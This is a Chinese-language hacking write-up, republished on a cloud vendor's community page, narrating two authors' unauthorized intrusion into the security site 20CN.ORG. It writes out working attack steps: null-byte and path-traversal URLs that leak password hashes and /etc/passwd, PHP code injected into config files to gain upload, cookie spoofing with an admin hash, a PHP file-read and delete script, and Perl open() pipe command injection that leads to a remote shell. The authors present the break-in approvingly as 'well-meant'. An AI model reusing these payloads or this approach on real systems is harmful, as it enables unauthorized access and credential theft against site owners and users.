劍走偏鋒–靈巧的指令碼攻擊

來源:互聯網
上載者:User
|=-------再現善意侵入20CN.ORG全過程-------=|
|=---------=[ PsKey & EnvyMask ]=---------=|
|=----------------------------------------=|

作者:Envymask <130@21cn.com>
網站:http://envymask.3322.org
幻影旅團:http://www.ph4nt0m.net/bbs/

作者:[C4ST] PsKey <PsKey@hotmail.com>
網站:http://www.isgrey.com
小組首頁:http://c4st.51.net
小組論壇:http://analysist.tocare.net

>>>Dedicated This Scrap To CaoJing & TaoZi<<<

武學之中, 出其不意、劍走偏鋒才能發揮靈巧之長。在防火牆廣泛地應用於網路之間執行存取控制策略的今天,以往被漠視的CGI安全悄然興起,形形色色的指令碼攻擊在防火牆的“認同”下大行其道,看似簡單的指令碼實質上處處暗藏玄機。本文真實再現利用指令碼缺陷善意侵入20CN的全過程,試圖讓您得到一點樂趣和啟示。

20CN.ORG(20CN網路安全小組)是國內較為知名的駭客/安全網站,偶然間,我們開始了對她的安全性測試。

沒有任何遲疑,我們直接從WEB下手。據瞭解:20CN整站程式由站主NetDemon編寫。基於代碼規模和複雜度方面的考慮,我們把目光集中到了網站論壇。我們習慣首先查看使用者資訊,因為使用者名稱和使用者密碼總是緊貼著儲存在一起,在這裡我們更容易接近我們渴求的資訊。提交如下URL查看NetDemon使用者資訊:

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=netdemon
正常返回使用者資訊

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=./netdemon
出錯提示:論壇系統出現問題!

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=netdemon%00
返回使用者資訊的“發貼數量”出現了一個莫名其妙的字串,其他的一部分資訊也全亂了

看來這裡有點問題,這個字串到底是怎麼回事?我們用以前申請的ID登陸上去後,看到每個URL的QUERY_STRING後面都有一個名為key的變數,而且其值和上述的字串有些相似。難道這個是密碼?我們接連登陸幾次後,觀察到這個key值每次都不一樣,看來這個key是用來識別我們在論壇的身份,應該與使用者密碼沒有直接關係...還是先不管這個key值了,繼續用我們的ID做實驗,提交了這個URL

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=envymask%00

出來的還是跟先前類似的字串,這個時候我們大膽猜測這個字串是我們的密碼,通過驗證,我們發現這的確是把我們密碼經過標準DES加密後得到的字串。這證明了我們的猜測是正確的,這個字串中就是加密過後的使用者密碼。但為什麼密碼會溜出來?於是我們接著推測:在使用者資料目錄裡面肯定有兩個儲存每個使用者資訊的檔案,一個裡面儲存有密碼,而另一個沒有,只有一些一般的資訊,如郵箱,生日之類的。這兩個檔案應該一個是username,另一個是username.xxx(加了一個尾碼)。userinfo.pl這個程式使用open函數開啟檔案的時候沒有對user這個變數過濾完全,至少沒有過濾掉 /0,這使得試圖開啟username.xxx檔案的時候實質上開啟的並不是username.xxx而是username。開啟檔案的代碼可能是這樣寫的open(F,"$path/$username.xxx");所以當user=abcdef%00的時候相當於open(F,"$path/abcdef");而這個檔案裡正是儲存使用者密碼的那個檔案,所以部分使用者資訊變數直接到該檔案中錯誤地取值,之後再反饋輸出給使用者,這樣密碼就出來了。愜意...我們隨即找出了站長netdemon的密碼,暴力破解的念頭一閃而過後,我們看還能不能進一步突破這個目錄,於是提交

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/passwd%00

密碼檔檔案出來了,看來這裡有搞頭,繼續

http://www.20cn.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/%00

受頁面輸出格式限制,我們只能查看到/etc目錄中一部分檔案和目錄;於是試著開啟一些檔案,但也只能查看到檔案的一些很小的片段,幾乎沒什麼用,連續查看了很多檔案過後,都沒有新的突破,我們有點失望了。於是我們暫時把這個BUG放在一邊,看看還有沒有其他檔案存在缺陷,繼續找一些CGI程式如display.pl,show.pl等,都沒有發現可以突破的地方,因為這些檔案都做了一些過濾,看來這條路走不通了。

既然CGI方面不能突破,那就只有另想路子了。我們拿著那個userinfo.pl到處查看一些片段檔案和目錄,首先搜尋apache的設定檔,最後在/usr/local/etc/apache目錄下找到了httpd.conf ,但還是只能查看檔案頭幾行,這些根本沒什麼用。又跑到/home目錄下看了看,嗯,有好多使用者,比先前查看/etc/passwd裡面的使用者多多了,因為查看/etc/passwd的時候只能看到頭幾行,隨便進了一個使用者tomy的目錄,咦,見到了目錄/public_html,看來系統有可能給每個使用者指派了發布個人首頁的空間,有意思, 看在瀏覽器裡面能不能訪問到

http://www.20cn.org/~tomy

呵,看到這傢伙的個人首頁了,再看看裡面的東西,這時我們意外地看到了一個/phpmyadmin目錄,立刻訪問,發現竟然沒有密碼驗證。現在的我們相當於得到了一個Mysql的使用者,我們試圖通過phpmyadmin往資料庫裡寫東西,內容是一個小的phpshell,然後匯出到首頁目錄裡,忙活了半天,終於全寫進去了,但往硬碟上寫的時候卻發現沒有許可權寫,一陣鬱悶襲來...

繼續查看了幾個使用者的目錄,大部分都沒有發布更多的東西,只有些靜態頁面。經過一番努力後,我們終於找到了冤大頭--shuaishuai(帥帥)這個使用者,轉到他發布的首頁上看看,哈,發現了這個

http://www.20cn.org/~shuaishuai/show.php?filename=20030329185337.txt

好傢夥,看看能不能跳轉目錄

http://www.20cn.org/~shuaishuai/show.php?filename=../../../../../../../etc/passwd

返回了下面這些東西給我們
Warning: is_file() [function.is-file]: SAFE MODE Restriction in effect. The script whose uid is 1007 is not allowed to access ./data//../../../../../../etc/passwd owned by uid 0 in /usr/home/shuaishuai/public_html/show.php on line 77

失敗,但並不是不能跳轉,只是沒有許可權而已。那好,我們再試著看看能不能查看有許可權的檔案

http://www.20cn.org/~shuaishuai/show.php?filename=../../../../../../../home/shuaishuai/public_html/post.php

呵呵,成功了,看到了post.php這個檔案的原始碼,太棒了,我們就把這個做為突破口。但這個只能查看shuaishuai這個使用者的檔案,不能查看到其他檔案,而且只是能查看檔案似乎還不夠,我們希望得到一個shell,這看起來似乎比較困難。還是另看看其他,其實shuaishuai的首頁上東西蠻多的,還有一個留言板,是X-pad.這個留言板可以讓使用者註冊後留言,每個註冊使用者在/User目錄下面都有一個設定檔,保留了使用者的一些資訊,在查看註冊檔案原始碼後我們發現它並沒有過濾完全,至少有一個變數可以使我們可以插入我們的代碼。於是我們申請了一個使用者在HOMEPAGE這個欄位插入了我們的代碼,使我們的使用者設定檔看起來像這樣:

<?
$User_Psw        = "1234";
$User_QQ        = "";
$User_EMail        = "";
$User_Homepage    = "http:///";copy($a,$b);unlink($a);#";
$User_Avatar    = "Styles/Avatars/blank.gif";
$User_BBSMode    = "0";
?>

上面這個php檔案使我們可以上傳檔案到指定目錄和刪除有許可權刪除的檔案.但在執行過程中卻發現不行,為什嗎?原來沒有看清楚

$User_Homepage    = "http:///";copy($a,$b);unlink($a);#";

這一行中我們提交的"(引號)前面被自動插入了/,使得它不是php語句中的雙引號("),而是變數中的(") 。即$User_Homepage變數值為 “http:///";copy($a,$b);unlink($a);#” 整個字串,並沒有起到預期的作用。看來 magic_quotes_gpc = on,再告失敗。

沒有氣餒,我們繼續耐心地尋找其他可以利用的東西,馬上我們又發現了http://www.20cn.org/~shuaishuai/down_sys/ 這麼個下載系統.經過查看目錄和查看下載系統的源檔案(因為我們有許可權查看這個目錄裡的檔案),在down_sys/data/user/目錄下面發現了管理員的使用者檔案,裡麵包含了密碼,但令人頭痛的是管理員密碼是經過md5加密的。此時我們沒有輕易放棄這個經加密的密碼,我們即刻查看管理員驗證的代碼,在/down_sys/admin/global.php這個檔案中發現了其驗證方式包含cookie驗證,相關代碼如下:
......
if (isset($password)) $password=md5($password);
if (empty($username)) $username=$HTTP_COOKIE_VARS['bymid'];
if (empty($password)) $password=$HTTP_COOKIE_VARS['bympwd'];

if(!checkpass($username,$password)) {
admintitle();
adminlogin();
    exit;
}
......

完全可以進行一次cookie欺騙。我們這裡使用的是一種比較煩瑣的方法:
先斷開網路,將我們的IP改為20cn.org的IP,然後在%systemroot%/system32/drivers/etc/hosts檔案裡把www.20cn.org這個網域名稱指向20cn.org的IP,做這一步是為了我們在斷開網路的時候能夠成功的將www.20cn.org解析成它的IP.最後在我們的IIS裡面自已建一個虛擬目錄/~shuaishuai/down_sys/admin/寫一個asp檔案,把cookie設定為管理員的使用者名稱和加過密的密碼,asp檔案內容如下:

<%
response.cookies("bymid")="adminuser"
response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a"
%>

然後訪問這個asp檔案

http://www.20cn.org/~shuaishuai/down_sys/admin/cookie.asp

留著這個視窗,把IP改回為原來的192.168.0.1,接著用這個視窗請求

http://www.20cn.org/~shuaishuai/down_sys/admin/admin.php

管理介面出來了,通過了驗證。接著我們來上傳檔案...可下面的事讓我們氣惱了好久,竟然沒有上傳檔案的功能,Fiant,是一個沒開發完全的半成品,徹底失望了嗎?不,我們依然有信心,接著查看一下其他的檔案,看看能不能對設定檔動點手腳,我們找到了一個class.php,裡面儲存的是下載系統的一些軟體分類資訊,內容看起來像這樣:

5|安全工具|1028372222
8|紅客工具|1034038173
7|其它軟體|1034202097
....
我們試著往裡面寫東西,於是在管理頁面新添加一個主分類,分類的名稱為"<?copy ($a,$b);unlink($a);?>",提交過後class.php變成了這樣

5|安全工具|1028372222
8|紅客工具|1034038173
7|其它軟體|1034202097
9|<?copy($a,$b);unlink($a);?>|1054035604

這個php檔案可以讓我們上傳檔案到有許可權目錄和刪除有許可權刪除的檔案。於是我們在本地寫了一個表單,上傳一個phpshell上去,然後訪問

http://www.20cn.org/~shuaishuai/down_sys/data/sh.php

GOOD,返回了phpshell的介面...一陣高興過後,我們才發現這個phpshell什麼命令都不能執行,原來網站PHP開啟了safe_mode功能,限制我們執行命令。但我們已經有了很大的突破了,可以向伺服器上傳檔案了。接下來我們利用PHP豐富的內建函數寫了很多小指令碼上傳測試,很不幸,系統利用 disable_functions 禁止了大部分的檔案系統函數、目錄函式...好在並沒有趕盡殺絕,最後我們寫了下面一個php程式來查看一些有許可權查看的目錄和檔案:

<?
$c = $HTTP_GET_VARS["c"];
$f = $HTTP_GET_VARS["f"];
if($c=="file") {
$file=readfile($f);
echo $file;
}
if($c=="dir") {
$h=opendir($f);
while($file=readdir($h)) {
echo "$file/n";
}
}
if($c=="del") {
unlink($f);
}
?>

在做了很多嘗試過後,我們發現在PHP上不能獲得新的突破,好在我們可以利用上面那個php程式來查看www.20cn.org/cgi-bin/club/scripts/ 目錄中程式指令碼的完整的代碼,於是我們決定改向回到起點、查看CGI檔案,由於沒有許可權向可執行CGI程式的目錄裡寫檔案, 新寫一個CGI程式來執行命令是不現實的,所以決定利用現有的.pl程式來插入命令,目標自然是放在perl的open函數上,於是我們開始尋找哪些程式用了open函數,但找了好多.pl檔案,都沒有發現,但卻看到有好多readfile()函數,記得perl裡面是沒有這個函數的,但這裡卻用了很多readfile(),為什麼呢?這肯定是他們自已定義的一個函數,我們看到每一個.pl檔案前幾行都有一個use Club;原來這裡有個模組,於是查看Club.pm,很快便發現了open函數.

sub readkey {
my($file)=@_;
  unless(open(FH,"$file")) {
    errmsg("對不起!你逾時了,請<a href=/"$login_page/" target=/"_parent/">重新登陸</a>");
    exit;
  }
   unless(flock(FH,LOCK_SH)) {
    errmsg("Can't Lock File: $file");
  }
my $data = <FH>;
close(FH);
return $data;
}

這就是那個自訂的readfile函數,證實了我們的猜想,而且也找到了一個符合要求的open函數,接著搜尋哪個檔案調用了這個函數,很快我們在change_pw.pl這個程式裡找到了這個函數調用,這個程式用來修改使用者的密碼,不幸的是代碼在判斷使用者舊密碼是否正確前就調用了 readkey() 函數:

my $key_info=readkey("$key_dir/$key");

於是提交

http://www.20cn.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20>bbb%20|

再查看一下

http://www.20cn.org/cgi-bin/club/scripts/bbb

Yeah!成功執行了...出現了我們期望的結果,這真是太妙了,可以利用這個來執行命令,就相當於得到了一個shell。但這樣辦事畢竟不方便,不能及時地查看我們的運行結果。因此我們又上傳了一個檔案、編譯、執行,然後

D:/temp>nc -vv www.20cn.org 12345
www.20cn.org [211.161.57.29] 12345 (?) open
id
uid=80(www) gid=80(www) groups=80(www)
uname -a
FreeBSD ns8.20cn.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr  2 07:01:40 CST 2003     root@ns8.20cn.com:/usr/obj/usr/src/sys/20CN  i386

哦,是FreeBSD 4.8-RELEASE,版本很高,提升許可權比較困難,我們找了好久都沒有找到有效local exploit,提升許可權失敗,只好作罷。

到這裡,我們的hacking基本上結束了。雖然沒拿到root,但至少拿到了網站WEB許可權,對於我們CGI安全愛好者來說,應該算是完成了本職工作吧-)。之後我們迅速與站主聯絡,提醒他網站存在安全隱患,但站主並沒有向我們詢問細節,他自己通過分析日誌修複了漏洞。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.